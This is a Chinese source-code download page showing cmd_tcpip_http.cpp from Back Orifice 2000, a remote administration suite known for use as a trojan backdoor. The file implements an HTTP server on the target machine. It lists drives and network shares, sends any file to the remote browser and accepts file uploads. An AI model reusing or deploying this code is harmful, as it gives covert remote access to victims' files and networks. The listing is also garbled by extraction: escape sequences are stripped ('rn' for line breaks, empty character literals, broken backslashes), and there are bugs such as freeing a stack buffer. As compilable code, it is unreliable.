开通博客赚积分
发布资源赚积分
分类

源码开发语言/平台
当前位置：首页 > 源码/资料 > Internet/网络编程 > 远程控制编程 > 查看源码
cmd_tcpip_http.cpp
资源名称：bo2ksrc.zip　[点击查看]
上传用户：jinandeyu
上传日期：2007-01-05
资源大小：620k
文件大小：26k
源码类别：

远程控制编程

开发平台：

WINDOWS

cmd_tcpip_http.cpp：源码内容
  1. /*  Back Orifice 2000 - Remote Administration Suite
  2.     Copyright (C) 1999, Cult Of The Dead Cow
  4.     This program is free software; you can redistribute it and/or modify
  5.     it under the terms of the GNU General Public License as published by
  6.     the Free Software Foundation; either version 2 of the License, or
  7.     (at your option) any later version.
  9.     This program is distributed in the hope that it will be useful,
  10.     but WITHOUT ANY WARRANTY; without even the implied warranty of
  11.     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  12.     GNU General Public License for more details.
  14.     You should have received a copy of the GNU General Public License
  15.     along with this program; if not, write to the Free Software
  16.     Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
  18. The author of this program may be contacted at dildog@l0pht.com. */
  20. #include<windows.h>
  21. #include<auth.h>
  22. #include<osversion.h>
  23. #include<iohandler.h>
  24. #include<functions.h>
  25. #include<cmdcmd_tcpip.h>
  26. #include<pviewer.h>
  27. #include<strhandle.h>
  29. //typedef struct __port_child_param {
  30. // SOCKET s;
  31. // SOCKADDR_IN saddr;
  32. // BOOL *pbDone;
  33. // int nArg1;
  34. // char *svArg2;
  35. // char *svArg3;
  36. //} PORT_CHILD_PARAM;
  38. #pragma pack(push,1)
  39. typedef struct {
  40. DWORD LowPart;
  41. DWORD HighPart;
  42. } ULARGE_INT;
  43. #pragma pack(pop)
  46. static char *typehtml = "text/html";
  47. static char *typetext =  "text/plain";
  48. static char *typebinary = "application/octet-stream";
  49. static char *typejpeg = "image/jpeg";
  50. static char *typegif = "image/gif";
  51. static char *dataerror = "Missing data";
  53. typedef enum {
  54. FOLDER,
  55. FILE,
  56. EXE,
  57. IMAGE,
  58. HTML,
  59. TEXT,
  60. COMPUTER,
  61. DRIVE,
  62. CDROM,
  63. REMOTE,
  64. ENTIRENETWORK,
  65. NETWORK,
  66. DOMAIN,
  67. SERVER,
  68. PRINTER
  69. } GIFICON;
  71. char *GetMimeType(char *filename)
  72. {
  73. char *ptr;
  75. ptr=strrchr(filename, '.');
  76. if(ptr==NULL) return typebinary;
  77. ptr++;
  79. if(lstrcmpi(ptr,"gif")==0) return typegif;
  80. if(lstrcmpi(ptr,"jpg")==0 || lstrcmpi(ptr,"jpeg")==0) return typejpeg;
  81. if(lstrcmpi(ptr,"htm")==0 || lstrcmpi(ptr,"html")==0) return typehtml;
  83. if(lstrcmpi(ptr,"c")==0 || lstrcmpi(ptr,"cpp")==0 || lstrcmpi(ptr,"txt")==0 || 
  84.    lstrcmpi(ptr,"diz")==0 || lstrcmpi(ptr,"h")==0 || lstrcmpi(ptr,"bat")==0
  85.    || lstrcmpi(ptr,"ini")==0 || lstrcmpi(ptr,"reg")==0) return typetext;
  87. return typebinary;
  88. }
  90. GIFICON GetFileIcon(char *filename)
  91. {
  92. char *ptr;
  94. ptr=strrchr(filename, '.');
  95. if(ptr==NULL) return FILE;
  96. ptr++;
  98. if(lstrcmpi(ptr,"gif")==0 ||
  99.    lstrcmpi(ptr,"jpg")==0 || lstrcmpi(ptr,"jpeg")==0 ||
  100.    lstrcmpi(ptr,"bmp")==0) return IMAGE;
  102. if(lstrcmpi(ptr,"exe")==0 || lstrcmpi(ptr,"com")==0 || 
  103.    lstrcmpi(ptr,"sys")==0 || lstrcmpi(ptr,"vxd")==0 ||
  104.    lstrcmpi(ptr,"dll")==0 || lstrcmpi(ptr,"cpl")==0) return EXE;
  106. if(lstrcmpi(ptr,"htm")==0 || lstrcmpi(ptr,"html")==0) return HTML;
  108. if(lstrcmpi(ptr,"c")==0 || lstrcmpi(ptr,"cpp")==0 || lstrcmpi(ptr,"txt")==0 || 
  109.    lstrcmpi(ptr,"diz")==0 || lstrcmpi(ptr,"h")==0 || lstrcmpi(ptr,"bat")==0
  110.    || lstrcmpi(ptr,"ini")==0 || lstrcmpi(ptr,"reg")==0) return TEXT;
  112. return FILE;
  113. }
  116. void FormatTime(char *buff, SYSTEMTIME thetime)
  117. {
  118. char *weekday, *month;
  120. switch (thetime.wDayOfWeek) {
  121. case 0: weekday = "Sun"; break;
  122. case 1: weekday = "Mon"; break;
  123. case 2: weekday = "Tue"; break;
  124. case 3: weekday = "Wed"; break;
  125. case 4: weekday = "Thu"; break;
  126. case 5: weekday = "Fri"; break;
  127. case 6: weekday = "Sat"; break;
  128. default: weekday = "???"; break;
  129. }
  131. switch (thetime.wMonth)
  132. {
  133. case 1: month = "Jan"; break;
  134. case 2: month = "Feb"; break;
  135. case 3: month = "Mar"; break;
  136. case 4: month = "Apr"; break;
  137. case 5: month = "May"; break;
  138. case 6: month = "Jun"; break;
  139. case 7: month = "Jul"; break;
  140. case 8: month = "Aug"; break;
  141. case 9: month = "Sep"; break;
  142. case 10: month = "Oct"; break;
  143. case 11: month = "Nov"; break;
  144. case 12: month = "Dec"; break;
  145. default: month = "???"; break;
  146. }
  148. wsprintf(buff, "%s, %02d %s %d %02d:%02d:%02d GMT", weekday, thetime.wDay, month, thetime.wYear, thetime.wHour, thetime.wMinute, thetime.wSecond);
  149. }
  151. void FormatHttpHeader(char *buff, int val, char *contenttype, char *svOther)
  152. {
  153. char date[256];
  154. char *errtxt;
  155. SYSTEMTIME curtime;
  157. switch (val) {
  158. case 200: errtxt = "OK"; break;
  159. case 201: errtxt = "Created"; break;
  160. case 202: errtxt = "Accepted"; break;
  161. case 204: errtxt = "No Content"; break;
  162. case 300: errtxt = "Multiple Choices"; break;
  163. case 301: errtxt = "Moved Permanently"; break;
  164. case 302: errtxt = "Moved Temporarily"; break;
  165. case 304: errtxt = "Not modified"; break;
  166. case 400: errtxt = "Bad Request"; break;
  167. case 401: errtxt = "Unauthorized"; break;
  168. case 403: errtxt = "Forbidden"; break;
  169. case 404: errtxt = "Not Found"; break;
  170. case 500: errtxt = "Internal Server Error"; break;
  171. case 501: errtxt = "Not Implemented"; break;
  172. case 502: errtxt = "Bad Gateway"; break;
  173. case 503: errtxt = "Service Unavailable"; break;
  174. default: errtxt = ""; break;
  175. }
  177. GetSystemTime(&curtime);
  178. FormatTime(date, curtime);
  180. wsprintf(buff, "HTTP/1.1 %d %srnServer: BO2K/0.9rnDate: %srnContent-type: %srnPublic: GET, POSTrn%srn", val, errtxt, date, contenttype,svOther);
  181. }
  183. void HTTPEnumRes(SOCKET s, NETRESOURCE *pNetContainer, DWORD dwScope)
  184. {
  185. char svBuffer[2048];
  186. int i;
  188. // Open network resource list
  189. HANDLE hNet;
  190. if (pWNetOpenEnum(dwScope,RESOURCETYPE_ANY,0,pNetContainer,&hNet)!=NO_ERROR) return;
  192. // Enumerate resources
  193. int ret;
  194. DWORD dwCount,dwBufSize;
  195. NETRESOURCE *pNetRes;
  196. pNetRes=(NETRESOURCE *)malloc(16384);
  197. if(pNetRes==NULL) {
  198. pWNetCloseEnum(hNet);
  199. return;
  200. }
  202. dwCount=1;
  203. dwBufSize=16384;
  204. ret=pWNetEnumResource(hNet,&dwCount,pNetRes,&dwBufSize);
  205. while(ret!=ERROR_NO_MORE_ITEMS) {
  206. // Give up time
  207. Sleep(20);
  209. char *svType,*svLocalName,*svRemoteName,*svComment;
  210. GIFICON icon;
  212. char svURLHead[MAX_PATH+1];
  213. char svURLFoot[MAX_PATH+1];
  214. svURLHead[0]='';
  215. svURLFoot[0]='';
  217. switch(pNetRes->dwDisplayType) {
  218. case RESOURCEDISPLAYTYPE_DOMAIN:
  219. icon=DOMAIN;
  220. break;
  221. case RESOURCEDISPLAYTYPE_GENERIC:
  222. icon=SERVER;
  223. break;
  224. case RESOURCEDISPLAYTYPE_SERVER:
  225. icon=SERVER;
  226. break;
  227. case RESOURCEDISPLAYTYPE_SHARE:
  228. switch(pNetRes->dwType) {
  229. case RESOURCETYPE_DISK:
  230. wsprintf(svURLHead,"<a href="%s/">",pNetRes->lpRemoteName+2);
  231. for(i=lstrlen(svURLHead)-1;i>=0;i--) 
  232. if(svURLHead[i]=='\') svURLHead[i]='/';
  233. wsprintf(svURLFoot,"</a>");
  234. icon=FOLDER;
  235. break;
  236. case RESOURCETYPE_PRINT:
  237. icon=PRINTER;
  238. break;
  239. default:
  240. svType="";
  241. break;
  242. }
  243. break;
  244. default:
  245. icon=NETWORK;
  246. break;
  247. }
  249. if(pNetRes->lpLocalName==NULL) svLocalName="";
  250. else svLocalName=pNetRes->lpLocalName;
  252. if(pNetRes->lpRemoteName==NULL) svRemoteName="";
  253. else svRemoteName=pNetRes->lpRemoteName;
  255. if(pNetRes->lpComment==NULL) svComment="";
  256. else svComment=pNetRes->lpComment;
  258. if(!pNetRes->lpLocalName && !pNetRes->lpRemoteName) {
  259. wsprintf(svBuffer,"<img src="/?image=%u">&nbsp;%s<br>rn", icon, svComment);
  260. } else {
  261. wsprintf(svBuffer,"<img src="/?image=%u">&nbsp;%s%s%s <b>%s</b> <i>%s</i><br>rn", icon, svURLHead,svRemoteName, svURLFoot, svLocalName, svComment);
  262. }
  263. send(s,svBuffer,lstrlen(svBuffer),0);
  265. // Recurse if necessary
  266. if (pNetRes->dwUsage & RESOURCEUSAGE_CONTAINER && dwScope == RESOURCE_GLOBALNET) {
  267. wsprintf(svBuffer,"<ul>");
  268. send(s,svBuffer,lstrlen(svBuffer),0);
  269. HTTPEnumRes(s,pNetRes,dwScope);
  270. wsprintf(svBuffer,"</ul>");
  271. send(s,svBuffer,lstrlen(svBuffer),0);
  272. }
  274. dwCount=1;
  275. dwBufSize=16384;
  276. ret=pWNetEnumResource(hNet,&dwCount,pNetRes,&dwBufSize);
  277. }
  278. free(pNetRes);
  279. pWNetCloseEnum(hNet);
  280. }
  287. void HTTPHandleFile(SOCKET s, char *svReqType, char *svFullPath, char *svKnownPath, int nHTTPVersion)
  288. {
  289. char svBuffer[1024];
  290. int i,j;
  292. if(lstrcmp(svFullPath,"\")==0) {
  293. // Display computer name
  295. DWORD dwBufSize = MAX_COMPUTERNAME_LENGTH+1;
  296. char svComputerName[MAX_COMPUTERNAME_LENGTH+1];
  297. if(GetComputerName(svComputerName, &dwBufSize)==FALSE) {
  298. return;
  299. }
  301. // Issue headers and start of html
  302. FormatHttpHeader(svBuffer,200,typehtml,"");
  303. send(s,svBuffer,lstrlen(svBuffer),0);
  305. // Put computer name header
  306. GIFICON icon;
  307. icon=COMPUTER;
  308. wsprintf(svBuffer,"<html>rn<head><title>%s</title></head>rn<body bgcolor=#FFFFFF text=#000000>rn"
  309.               "<h1><img align=absbottom src=/?image=%u>&nbsp;%s</h1>rn<ul><pre>rn",
  310.   svComputerName, icon, svComputerName);
  311. send(s,svBuffer,lstrlen(svBuffer),0);
  313. // List all drives
  314. char c;
  315. int x;
  316. for (c = 'C'; c <= 'Z'; c++) {
  317. char *svDesc;
  318. char svDesc2[512];
  319. wsprintf(svBuffer,"%c:\",c);
  320. x = GetDriveType(svBuffer);
  321. switch (x) {
  322. case 0:
  323. icon=DRIVE;
  324. svDesc="Unable to determine";
  325. break;
  326. case 1:
  327. break;
  328. case DRIVE_REMOVABLE:
  329. icon=DRIVE;
  330. svDesc="Removable";
  331. break;
  332. case DRIVE_FIXED:
  333. icon=DRIVE;
  335. DWORD spc,bps,nfc,tnc,dwFree,dwTotal;
  337. if (GetDiskFreeSpace(svBuffer,&spc,&bps,&nfc,&tnc)) {
  338. dwFree=(nfc*((bps*spc)/1024));
  339. dwTotal=(tnc*((bps*spc)/1024));
  341. char fc,tc;
  343. tc='K';
  344. if(dwTotal>1024) {
  345. dwTotal>>=10;
  346. tc='M';
  347. }
  349. fc='K';
  350. if(dwFree>1024) {
  351. dwFree>>=10;
  352. fc='M';
  353. }
  355. wsprintf(svDesc2, "Fixed    Bytes free: %u%c/%u%c", dwFree, fc, dwTotal, tc);
  356. svDesc=svDesc2;
  357. } else svDesc="Fixed";
  358. break;
  359. case DRIVE_REMOTE:
  360. icon=REMOTE;
  361. svDesc="Remote";
  362. break;
  363. case DRIVE_CDROM:
  364. icon=CDROM;
  365. svDesc="CDROM";
  366. break;
  367. case DRIVE_RAMDISK:
  368. icon=DRIVE;
  369. svDesc="Ramdisk";
  370. break;
  371. default:
  372. icon=DRIVE;
  373. svDesc="Unknown";
  374. break;
  375. }
  376. if(x!=1) {
  377. wsprintf(svBuffer,"<img align=absbottom src=/?image=%u><a href=/%%DRIVE%%%c:/>%c:\</a>   %srn",
  378. icon,c,c,svDesc);
  379. send(s,svBuffer,lstrlen(svBuffer),0);
  380. }
  381. }
  383. // Issue Link to Network Neighborhood
  384. wsprintf(svBuffer,"rn<h2><a href="/%%NETHOOD%%/">Network Neighborhood</a></h2>rn");
  385. send(s,svBuffer,lstrlen(svBuffer),0);
  387. // Issue HTML footers
  388. wsprintf(svBuffer,"</pre></ul>rn</body>rn</html>rn");
  389. send(s,svBuffer,lstrlen(svBuffer),0);
  391. }
  392. else if(lstrcmp(svFullPath,"\\")==0) {
  393. // Issue headers and start of html
  394. FormatHttpHeader(svBuffer,200,typehtml,"");
  395. send(s,svBuffer,lstrlen(svBuffer),0);
  397. // Put title
  398. wsprintf(svBuffer,"<html>rn<head><title>Network Neighborhood</title></head>rn<body bgcolor=#FFFFFF text=#000000>rn"
  399.               "<h1><img src="/?image=%u">&nbsp;Entire Network</h1>rn<ul>rn",(GIFICON)ENTIRENETWORK);
  400. send(s,svBuffer,lstrlen(svBuffer),0);
  402. HTTPEnumRes(s,NULL,RESOURCE_GLOBALNET);
  404. // Issue HTML footers
  405. wsprintf(svBuffer,"</ul>rn</body>rn</html>rn");
  406. send(s,svBuffer,lstrlen(svBuffer),0);
  408. } else {
  409. DWORD dwFileAttr;
  410. dwFileAttr=GetFileAttributes(svFullPath);
  411. if(dwFileAttr==-1) dwFileAttr=FILE_ATTRIBUTE_DIRECTORY;
  413. if(dwFileAttr & FILE_ATTRIBUTE_DIRECTORY) {
  415. // Handle directory listing
  416. WIN32_FIND_DATA w32fd;
  417. char svWildCard[MAX_PATH+2];
  419. lstrcpyn(svWildCard,svFullPath,MAX_PATH);
  420. lstrcat(svWildCard,"*");
  422. // Get file listing
  423. HANDLE fh;
  424. int nFileCount=0;
  425. fh=FindFirstFile(svWildCard,&w32fd);
  426. if(fh==INVALID_HANDLE_VALUE) return;
  427. do {
  428. nFileCount++;
  429. } while(FindNextFile(fh,&w32fd));
  430. FindClose(fh);
  432. WIN32_FIND_DATA *pFileArray=(WIN32_FIND_DATA *)malloc(sizeof(WIN32_FIND_DATA)*nFileCount);
  433. if(pFileArray==NULL) return;
  435. fh=FindFirstFile(svWildCard,pFileArray);
  436. if(fh==INVALID_HANDLE_VALUE) return;
  437. for(i=1;i<nFileCount;i++) {
  438. FindNextFile(fh,pFileArray+i);
  439. }
  440. FindClose(fh);
  442. // Sort file listing
  443. WIN32_FIND_DATA tmp;
  444. for(i=0;i<nFileCount;i++) {
  445. for(j=i+1;j<nFileCount;j++) {
  446. if(pFileArray[i].dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
  447. if(pFileArray[j].dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
  448. if(lstrcmpi(pFileArray[i].cFileName,pFileArray[j].cFileName)>0) {
  449. tmp=pFileArray[i]; pFileArray[i]=pFileArray[j]; pFileArray[j]=tmp;
  450. }
  451. }
  452. } else {
  453. if(pFileArray[j].dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
  454. tmp=pFileArray[i]; pFileArray[i]=pFileArray[j]; pFileArray[j]=tmp;
  455. } else {
  456. if(lstrcmpi(pFileArray[i].cFileName,pFileArray[j].cFileName)>0) {
  457. tmp=pFileArray[i]; pFileArray[i]=pFileArray[j]; pFileArray[j]=tmp;
  458. }
  459. }
  460. }
  462. }
  463. }
  465. // Issue headers and start of html
  466. FormatHttpHeader(svBuffer,200,typehtml,"");
  467. send(s,svBuffer,lstrlen(svBuffer),0);
  469. wsprintf(svBuffer,"<html>rn<head><title>%s</title></head>rn<body bgcolor=#FFFFFF text=#000000>rn"
  470.               "<h1>Directory: %s</h1>rn<ul><pre>rn",svKnownPath,svKnownPath);
  471. send(s,svBuffer,lstrlen(svBuffer),0);
  473. // Output table header
  474. wsprintf(svBuffer,"<b><u>   Date      Time         Size    Filename                                </u></b>rn");
  475. send(s,svBuffer,lstrlen(svBuffer),0);
  477. DWORD dwBytesTotal;
  478. DWORD dwDirCount;
  479. DWORD dwFileCount;
  481. dwFileCount=0;
  482. dwBytesTotal=0;
  483. dwDirCount=0;
  485. for(i=0;i<nFileCount;i++) {
  486. SYSTEMTIME sysTime;
  487. GIFICON icon;
  489. FileTimeToSystemTime(&(pFileArray[i].ftLastWriteTime),&sysTime);
  490. if(pFileArray[i].dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
  491. icon=FOLDER;
  492. wsprintf(svBuffer,"%2.2u-%2.2u-%4.4u  %2.2u:%2.2u        &lt;DIR&gt;  <img src=/?image=%u align=absbottom border=0><a href="%s/">%-.64s\</a>rn",
  493. sysTime.wMonth,sysTime.wDay,sysTime.wYear,
  494. sysTime.wHour,sysTime.wMinute,
  495. icon,
  496. pFileArray[i].cFileName,
  497. pFileArray[i].cFileName);
  498. send(s,svBuffer,lstrlen(svBuffer),0);
  499. dwDirCount++;
  500. } else {
  501. icon=GetFileIcon(pFileArray[i].cFileName);
  502. wsprintf(svBuffer,"%2.2u-%2.2u-%4.4u  %2.2u:%2.2u  %11u  <img src=/?image=%u align=absbottom border=0><a href="%s">%-.64s</a>rn",
  503. sysTime.wMonth,sysTime.wDay,sysTime.wYear,
  504. sysTime.wHour,sysTime.wMinute,
  505. pFileArray[i].nFileSizeLow,
  506. icon,
  507. pFileArray[i].cFileName,
  508. pFileArray[i].cFileName);
  509. send(s,svBuffer,lstrlen(svBuffer),0);
  510. dwBytesTotal+=pFileArray[i].nFileSizeLow;
  511. dwFileCount++;
  512. }
  513. }
  514. free(pFileArray);
  516. // Report byte count
  518. wsprintf(svBuffer, "</pre><tt>%u Bytes, %u Files, %u Folders</tt><P>", dwBytesTotal,dwFileCount,dwDirCount);
  519. send(s, svBuffer, lstrlen(svBuffer), 0);
  521. // Issue HTTP Upload form
  522. wsprintf(svBuffer, "<FORM ENCTYPE="multipart/form-data" ACTION= "?upload" METHOD="POST"><P><INPUT TYPE="SUBMIT" VALUE="Upload File:"> <INPUT TYPE="file" NAME="filename"></FORM>");
  523. send(s, svBuffer, lstrlen(svBuffer), 0);
  525. // Issue HTML footers
  526. wsprintf(svBuffer,"</pre></ul>rn</body>rn</html>rn");
  527. send(s,svBuffer,lstrlen(svBuffer),0);
  529. } else {
  531. // ---- File ---- 
  533. // Get Mime Type
  534. char *svMime;
  535. svMime=GetMimeType(svFullPath);
  537. // Open File
  538. HANDLE hFile;
  539. hFile=CreateFile(svFullPath,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_FLAG_SEQUENTIAL_SCAN,NULL);
  540. if(hFile==INVALID_HANDLE_VALUE) {
  541. FormatHttpHeader(svBuffer,404,typehtml,"");
  542. send(s,svBuffer,lstrlen(svBuffer),0);
  543. return;
  544. }
  546. // Allocate copy buffer
  547. char *pBuffer;
  548. pBuffer=(char *)malloc(1024);
  549. if(pBuffer==NULL) {
  550. FormatHttpHeader(svBuffer,500,typehtml,"");
  551. send(s,svBuffer,lstrlen(svBuffer),0);
  552. return;
  553. }
  555. // Issue headers
  556. char svTimeBuf[256];
  557. char svHeadBuf[512];
  558. SYSTEMTIME sysTime;
  559. GetSystemTime(&sysTime);
  560. FormatTime(svTimeBuf, sysTime);
  561. int nLength;
  562. nLength=GetFileSize(hFile,NULL);
  563.             wsprintf(svHeadBuf, "Last-modified: %srnContent-length: %drnAccept-ranges: bytesrnConnection: keep-alivern", svTimeBuf, nLength);
  564.             FormatHttpHeader(svBuffer,200,svMime,svHeadBuf);
  565. send(s,svBuffer,lstrlen(svBuffer),0);
  566.                     
  567. // Send file
  568. DWORD dwBytes,dwCount;
  569. dwCount=0;
  570. do {
  571. if(ReadFile(hFile,pBuffer,1024,&dwBytes,NULL)) {
  572. if(dwBytes!=0) {
  573. send(s,pBuffer,dwBytes,0);
  574. dwCount+=dwBytes;
  575. }
  576. }
  577. else break;
  578. } while(dwBytes!=0);
  580. // Clean up
  581. free(pBuffer);
  582. CloseHandle(hFile);
  583. }
  584. }
  585. }
  587. extern unsigned int pGifFILE_LEN;
  588. extern unsigned char pGifFILE_DATA[];
  589. extern unsigned int pGifFOLDER_LEN;
  590. extern unsigned char pGifFOLDER_DATA[];
  591. extern unsigned int pGifEXE_LEN;
  592. extern unsigned char pGifEXE_DATA[];
  593. extern unsigned int pGifIMAGE_LEN;
  594. extern unsigned char pGifIMAGE_DATA[];
  595. extern unsigned int pGifHTML_LEN;
  596. extern unsigned char pGifHTML_DATA[];
  597. extern unsigned int pGifTEXT_LEN;
  598. extern unsigned char pGifTEXT_DATA[];
  599. extern unsigned int pGifDRIVE_LEN;
  600. extern unsigned char pGifDRIVE_DATA[];
  601. extern unsigned int pGifREMOTE_LEN;
  602. extern unsigned char pGifREMOTE_DATA[];
  603. extern unsigned int pGifCDROM_LEN;
  604. extern unsigned char pGifCDROM_DATA[];
  605. extern unsigned int pGifCOMPUTER_LEN;
  606. extern unsigned char pGifCOMPUTER_DATA[];
  607. extern unsigned int pGifENTIRENETWORK_LEN;
  608. extern unsigned char pGifENTIRENETWORK_DATA[];
  609. extern unsigned int pGifNETWORK_LEN;
  610. extern unsigned char pGifNETWORK_DATA[];
  611. extern unsigned int pGifDOMAIN_LEN;
  612. extern unsigned char pGifDOMAIN_DATA[];
  613. extern unsigned int pGifSERVER_LEN;
  614. extern unsigned char pGifSERVER_DATA[];
  615. extern unsigned int pGifPRINTER_LEN;
  616. extern unsigned char pGifPRINTER_DATA[];
  619. void HTTPHandleImage(SOCKET s, char *svReqType, GIFICON nImage, int nHTTPVersion)
  620. {
  621. char svBuffer[512];
  623. // Send a gif
  624. FormatHttpHeader(svBuffer,200,typegif,"");
  625. send(s,svBuffer,lstrlen(svBuffer),0);
  627. switch(nImage) {
  628. case FOLDER:
  629. send(s,(char *)pGifFOLDER_DATA,pGifFOLDER_LEN,0);
  630. break;
  631. case FILE:
  632. send(s,(char *)pGifFILE_DATA,pGifFILE_LEN,0);
  633. break;
  634. case EXE:
  635. send(s,(char *)pGifEXE_DATA,pGifEXE_LEN,0);
  636. break;
  637. case IMAGE:
  638. send(s,(char *)pGifIMAGE_DATA,pGifIMAGE_LEN,0);
  639. break;
  640. case HTML:
  641. send(s,(char *)pGifHTML_DATA,pGifHTML_LEN,0);
  642. break;
  643. case TEXT:
  644. send(s,(char *)pGifTEXT_DATA,pGifTEXT_LEN,0);
  645. break;
  646. case COMPUTER:
  647. send(s,(char *)pGifCOMPUTER_DATA,pGifCOMPUTER_LEN,0);
  648. break;
  649. case DRIVE:
  650. send(s,(char *)pGifDRIVE_DATA,pGifDRIVE_LEN,0);
  651. break;
  652. case CDROM:
  653. send(s,(char *)pGifCDROM_DATA,pGifCDROM_LEN,0);
  654. break;
  655. case REMOTE:
  656. send(s,(char *)pGifREMOTE_DATA,pGifREMOTE_LEN,0);
  657. break;
  659. case ENTIRENETWORK:
  660. send(s,(char *)pGifENTIRENETWORK_DATA,pGifENTIRENETWORK_LEN,0);
  661. break;
  662. case NETWORK:
  663. send(s,(char *)pGifNETWORK_DATA,pGifNETWORK_LEN,0);
  664. break;
  665. case DOMAIN:
  666. send(s,(char *)pGifDOMAIN_DATA,pGifDOMAIN_LEN,0);
  667. break;
  668. case SERVER:
  669. send(s,(char *)pGifSERVER_DATA,pGifSERVER_LEN,0);
  670. break;
  671. case PRINTER:
  672. send(s,(char *)pGifPRINTER_DATA,pGifPRINTER_LEN,0);
  673. break;
  675. default:
  676. return;
  677. }
  679. return;
  680. }
  683. DWORD WINAPI PortHTTPThread(LPVOID lpParameter)
  684. {
  685. PORT_CHILD_PARAM *ppcp=(PORT_CHILD_PARAM *) lpParameter;
  687. // Send Keep-Alives (browser usually wants them) and set blocking mode
  688. BOOL bKeepAlive=TRUE;
  689. setsockopt(ppcp->s,SOL_SOCKET,SO_KEEPALIVE,(char *)&bKeepAlive,sizeof(BOOL));
  690. DWORD dwNonBlock=FALSE;
  691. ioctlsocket(ppcp->s,FIONBIO,&dwNonBlock);
  693. // Read in the HTTP request
  694. DWORD dwLen;
  695. char *svBuffer;
  696. do {
  697. Sleep(20);
  698. ioctlsocket(ppcp->s,FIONREAD,&dwLen);
  699. } while(dwLen==0);
  701. svBuffer=(char *) malloc(dwLen+1);
  702. if(svBuffer==NULL) {
  703. closesocket(ppcp->s);
  704. free(ppcp);
  705. return 1;
  706. }
  707. if(recv(ppcp->s,svBuffer,dwLen,0) <= 0) return -1;
  708. svBuffer[dwLen]='';
  710. // Determine request type
  711. char *svNext,*svReqType;
  712. svReqType=svBuffer;
  713. svNext=BreakString(svReqType," ");
  714. if(svNext==NULL) {
  715. free(svBuffer);
  716. closesocket(ppcp->s);
  717. free(ppcp);
  718. return 1;
  719. }
  721. // Retrieve path
  722. char *svPath;
  723. svPath=svNext;
  724. svNext=BreakString(svPath,"rn");
  725. if(svNext==NULL) {
  726. free(svBuffer);
  727. closesocket(ppcp->s);
  728. free(ppcp);
  729. return 1;
  730. }
  732. // Strip off and retrieve HTTP type
  733. int len,i;
  734. int nHTTPVersion;
  735. len=lstrlen(svPath);
  736. for(i=len-1;i>=0;i--) {
  737. if(lstrcmp(svPath+i," HTTP/1.0")==0) { nHTTPVersion=10; break; }
  738. if(lstrcmp(svPath+i," HTTP/0.9")==0) { nHTTPVersion=9; break; }
  739. if(lstrcmp(svPath+i," HTTP/1.1")==0) { nHTTPVersion=11; break; }
  740. }
  741. if(i==0) {
  742. free(svBuffer);
  743. closesocket(ppcp->s);
  744. free(ppcp);
  745. return 1;
  746. }
  747. svPath[i]='';
  749. // Strip off file option string
  750. char *svOptions;
  751. svOptions=BreakString(svPath,"?");
  753. // Strip trailing [back]slash from root pathname
  754. char svDiskPath[MAX_PATH+1];
  755. int nDPLen;
  756. lstrcpyn(svDiskPath,ppcp->svArg2,MAX_PATH+1);
  757. nDPLen=lstrlen(svDiskPath);
  758. if(svDiskPath[nDPLen-1]=='/' || svDiskPath[nDPLen-1]=='\') {
  759. svDiskPath[nDPLen-1]='';
  760. nDPLen--;
  761. }
  763. // Get target disk path filename
  764. lstrcpyn(svDiskPath+nDPLen,svPath,(MAX_PATH+1)-nDPLen);
  765. nDPLen=lstrlen(svDiskPath);
  767. // Convert everything to backslashes
  768. for(i=0;i<nDPLen;i++) {
  769. if(svDiskPath[i]=='/') svDiskPath[i]='\';
  770. }
  772. // Convert "%" values
  773. for(i=0;i<(nDPLen-2);i++) {
  774. if(svDiskPath[i]=='%') {
  775. if(strncmp(svDiskPath+i,"%DRIVE%",7)==0) {
  776. lstrcpy(svDiskPath,svDiskPath+i+7);
  777. nDPLen-=(i+7);
  778. i=0;
  779. }
  780. else if(strncmp(svDiskPath+i,"%NETHOOD%",9)==0) {
  781. lstrcpy(svDiskPath+i,svDiskPath+i+9);
  782. nDPLen-=9;
  783. } else {
  784. char d,c;
  785. d=svDiskPath[i+1];
  786. if(d>='A' && d<='F') c=(d-'A')<<4;
  787. if(d>='a' && d<='f') c=(d-'a')<<4;
  788. if(d>='0' && d<='9') c=(d-'0')<<4;
  789. d=svDiskPath[i+2];
  790. if(d>='A' && d<='F') c|=d-'A';
  791. if(d>='a' && d<='f') c|=d-'a';
  792. if(d>='0' && d<='9') c|=d-'0';
  794. lstrcpy(svDiskPath+i+1,svDiskPath+i+3);
  796. svDiskPath[i]=c;
  797. nDPLen-=2;
  798. }
  799. }
  800. }
  802. // Get Full Path in proper format
  803. DWORD nFullPathLen;
  804. char svFullPath[MAX_PATH+1], *svFilePart,*svKnownPath;
  807. // Get rid of double slashes if we're not at the root
  808. if(ppcp->svArg2[0]!=0) {
  809. nFullPathLen=GetFullPathName(svDiskPath,MAX_PATH+1,svFullPath,&svFilePart);
  810. if(BreakString(svFullPath,"\\")!=NULL) {
  811. free(svFullPath);
  812. free(svBuffer);
  813. closesocket(ppcp->s);
  814. free(ppcp);
  815. return 1;
  816. }
  817. } else {
  818. lstrcpyn(svFullPath,svDiskPath,MAX_PATH+1);
  819. }
  822. // Verify root
  823. DWORD nRootPathLen;
  824. nRootPathLen=lstrlen(ppcp->svArg2);
  825. if(nRootPathLen>nFullPathLen) {
  826. free(svFullPath);
  827. free(svBuffer);
  828. closesocket(ppcp->s);
  829. free(ppcp);
  830. return 1;
  831. }
  832. if(CompareString(LOCALE_SYSTEM_DEFAULT,NORM_IGNORECASE,ppcp->svArg2,nRootPathLen,svFullPath,nRootPathLen)!=CSTR_EQUAL) {
  833. free(svFullPath);
  834. free(svBuffer);
  835. closesocket(ppcp->s);
  836. free(ppcp);
  837. return 1;
  838. }
  839. svKnownPath=svFullPath+nRootPathLen;
  842. if(lstrcmpi(svReqType,"GET")==0) {
  843. // GET request
  846. // Serve up appropriate file
  848. if(svOptions==NULL) {
  849. HTTPHandleFile(ppcp->s,svReqType,svFullPath,svKnownPath,nHTTPVersion);
  850. } else {
  851. char svImage[7];
  852. lstrcpyn(svImage,svOptions,7);
  853. if(lstrcmpi(svImage,"image=")==0) {
  854. HTTPHandleImage(ppcp->s,svReqType,(GIFICON)atoi(svOptions+6),nHTTPVersion);
  855. }
  856. }
  858. // Exit cleanly
  859. //if(svFullPath) free(svFullPath);
  860. }
